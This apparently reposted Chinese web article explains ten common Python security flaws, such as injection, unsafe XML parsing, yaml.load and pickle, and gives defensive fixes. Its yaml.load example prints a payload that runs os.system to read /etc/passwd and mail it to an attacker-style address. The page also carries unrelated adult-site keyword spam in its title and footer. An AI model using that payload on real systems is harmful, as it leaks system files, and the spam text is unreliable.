成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

帶你認識Python中黑客喜歡攻擊的10個安全漏洞以及應對方法

安全 黑客攻防
編寫安全代碼是一件很難的事情。Python也不例外,即使在標準庫中,也有記錄在案的編寫應用程序的安全漏洞。下面是Python應用程序中最常見的10個安全陷阱以及相關解決辦法。

 前言

編寫安全代碼是一件很難的事情。Python也不例外,即使在標準庫中,也有記錄在案的編寫應用程序的安全漏洞。下面是Python應用程序中最常見的10個安全陷阱以及相關解決辦法。

Input injection

Injection攻擊非常普遍,有很多種類型的注入。它們影響所有的語言、框架和環境。

SQL injection是指直接編寫SQL查詢,而不是使用ORM并將字符串和變量混合。我讀過很多代碼,其中“轉義引號”被認為是一種修復方法。然而它不是。

命令injection是指任何時候你使用popen,子進程,os來調用一個進程。系統從變量中獲取參數。當調用本地命令時,可能會有人將這些值設置為惡意的值。

如何修復:

如果您正在使用web框架,那么可以使用web框架附帶的實用工具來清理輸入。除非您有很好的理由,否則不要手工構造SQL查詢。

對于shell,使用shlex模塊正確地轉義輸入。

解析XML

如果您的應用程序曾經加載并解析過XML文件,那么您很可能正在使用XML標準庫模塊之一。通過XML有一些常見的攻擊。大部分是Dos風格的(用來崩潰系統而不是過濾數據)。這些攻擊很常見,尤其是在解析外部(即不受信任的)XML文件時。

其中一個被稱為“十億個laugh”,因為有效載荷通常包含大量(數十億)“lols”。基本上,這個想法是您可以在XML中執行引用實體,因此當您的低調的XML解析器試圖將這個XML文件加載到內存中時,它將消耗千兆字節的RAM。如果你不相信,那就試試吧:-)

另一種攻擊使用外部實體擴展。XML支持從外部url引用實體,XML解析器通常會毫無顧慮地獲取和加載該資源。“攻擊者可以繞過防火墻,訪問受限制的資源,因為所有的請求都是由內部可靠的IP地址發出的,而不是來自外部。”

另一種需要考慮的情況是依賴于解碼XML的第三方包,比如配置文件和遠程api。您甚至可能沒有意識到,您的某個依賴項可能會受到這些類型的攻擊。

解決辦法:

使用defusedxml作為標準庫模塊的替代。它增加了針對這類攻擊的安全防護。

Assert statements

不要使用斷言語句來防止用戶不應該訪問的代碼段。

舉個簡單的例子:

 

  1. def foo(request, user):   assert user.is_admin, “user does not have access”   # secure code... 

在默認情況下,Python執行時使用的是_debug__作為true,但是在生產環境中,通常使用優化來運行。這將跳過assert語句,直接進入安全代碼,而不管用戶是否為is_admin。

解決辦法:

僅使用assert語句與其他開發人員通信,如在單元測試中或在防止不正確的API使用中。

計時攻擊

計時攻擊本質上是一種通過計時比較所提供的值所花費的時間來暴露行為和算法的方法。定時攻擊需要精確性,所以它們通常不能在高延遲的遠程網絡上工作。由于大多數web應用程序的延遲都是可變的,所以幾乎不可能編寫HTTP web服務器上的定時攻擊。

但是,如果您有一個命令行應用程序提示輸入密碼,那么攻擊者可以編寫一個簡單的腳本來計算將它們的值與實際的密碼進行比較所需的時間。有一些令人印象深刻的例子,例如基于ssh的定時攻擊是用Python編寫的。

解決辦法:

使用在Python 3.5中引入的secret .compare_digest來比較密碼和其他私有值。

被污染的站點—包或導入路徑

Python的導入系統非常靈活。當您試圖為您的測試編寫monkey-patch或重載核心功能時,這是非常棒的。

但是,這是Python中較大的安全漏洞之一。

在您的站點包中安裝第三方包,無論是在虛擬環境中還是在全局站點包中(通常不建議這樣做),都會暴露這些包中的安全漏洞。

曾經出現過這樣的情況:發布到PyPi的包的名稱與流行的包類似,但執行的是任意代碼。幸運的是,并沒有造成傷害。

另一種需要考慮的情況是依賴項的依賴項(等等)。它們可以包含漏洞,還可以通過導入系統覆蓋Python中的默認行為。

解決辦法:

審查你的包。看看PyUp。io和他們的安全服務。為所有應用程序使用虛擬環境,并確保全局站點包盡可能干凈。檢查包簽名。

臨時文件

要在Python中創建臨時文件,通常需要使用mktemp()函數生成一個文件名,然后使用該名稱創建一個文件。這是不安全的,因為在調用mktemp()和第一個進程隨后嘗試創建該文件之間的時間內,另一個進程可能會創建一個具有該名稱的文件。這意味著它可能欺騙您的應用程序加載錯誤的數據或暴露其他臨時數據。

如果調用了不正確的方法,Python的最新版本將發出運行時警告。

解決辦法:

如果需要生成臨時文件,請使用tempfile模塊并使用mkstemp。

使用yaml.load

這個例子可以在流行的Python項目Ansible中找到:

https://talosintelligence.com/reports/TALOS-2017-0305

您可以提供Ansible Vault,該值作為(有效的)YAML。它使用文件中提供的參數調用os.system()。

 

  1. !!python/object/apply:os.system ["cat /etc/passwd | mail me@hack.c"

因此,從用戶提供的值有效地加載YAML文件會讓您很容易受到攻擊。

解決辦法:

使用yaml.safe_load。

Pickles

反序列化pickle數據和YAML一樣糟糕。Python類可以聲明一個名為__reduce__的神奇方法,該方法返回一個字符串,或者一個元組,該元組具有可調用的參數,在pickle時調用這些參數。攻擊者可以使用它來包含對其中一個子進程模塊的引用,以便在主機上運行任意命令。

解決辦法:

永遠不要從不可信或未經身份驗證的源解除數據pickle。而是使用另一種序列化模式,比如JSON。

使用系統Python運行時而不打補丁

大多數POSIX系統都附帶了Python 2的一個版本。通常是舊的。因為“Python”,即CPython是用C寫的,所以有時候Python解釋器本身就有漏洞。C語言中常見的安全問題與內存分配有關,因此緩沖區溢出錯誤。

多年來,CPython有許多溢出或溢出漏洞,每一個都在后續的版本中得到了修補和修復。所以你是安全的。也就是說,如果你修補你的運行時。

解決辦法:

為您的產品應用程序安裝最新版本的Python,并對其進行修補!

沒有修補您的依賴項

與不修補您的運行時類似,您還需要定期修補您的依賴項。我發現在包中“固定”來自PyPi的Python包版本的做法很可怕。這個想法是“這些是可行的版本”,所以每個人都不去管它。

當存在于應用程序使用的包中時,上述代碼中的所有漏洞都同樣重要。這些包的開發人員會修復安全問題。所有的時間。

解決辦法:

使用PyUp這樣的服務。io檢查更新,提出拉/合并請求到您的應用程序,并運行您的測試,以保持包的最新。

使用InSpec之類的工具來驗證在生產環境中安裝的版本,并確保修補了最小版本或版本范圍。

 

責任編輯:華軒 來源: 今日頭條
相關推薦

2010-10-08 10:22:43

2010-09-13 18:11:38

2021-01-25 13:50:31

網絡安全黑客工具

2018-06-27 10:07:28

2013-05-24 09:43:46

2019-09-17 10:06:46

數據庫程序員網絡安全

2022-04-15 11:37:19

密碼網絡攻擊網絡安全

2013-09-02 15:35:00

2010-10-08 13:08:47

2012-03-19 10:25:55

2009-09-30 11:10:31

2019-12-19 14:58:23

黑客網絡安全云計算

2011-07-29 10:46:44

2019-10-10 15:57:09

云安全混合云架構

2010-09-25 15:52:01

2019-05-05 07:12:13

郵件安全網絡攻擊惡意軟件

2010-09-30 10:44:43

2012-08-16 11:43:03

2018-08-30 09:56:38

2022-01-19 12:39:41

大數據
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 欧美黄页 | 最新国产精品 | 成人免费视频在线观看 | 国产精品亚洲精品日韩已方 | 怡红院免费的全部视频 | 日韩在线观看 | 亚洲精品九九 | 欧美一区在线视频 | 欧美天天视频 | 天天操欧美 | 视频一二三区 | 久久精品一区二区三区四区 | 国产分类视频 | 香蕉91| 精产国产伦理一二三区 | 国产精品不卡视频 | 紧缚调教一区二区三区视频 | 日韩在线| 亚洲一区二区在线 | 亚洲欧洲成人av每日更新 | 毛色毛片免费看 | 91国产精品在线 | 久久九九色 | 一区二区三区四区不卡视频 | 亚洲国产成人av | 91精品国产综合久久久久久丝袜 | 亚洲综合色视频在线观看 | 亚洲高清在线 | 99热视| 国产精品久久一区二区三区 | 超碰日本 | 欧美成人综合 | 毛片网站在线观看 | 免费黄色成人 | 国产在线观看一区二区 | 亚洲一区二区三区四区在线观看 | 一区二区三区在线观看视频 | 午夜久久久 | 国产美女黄色片 | 一区二区三区四区不卡 | 亚洲精品在线视频 |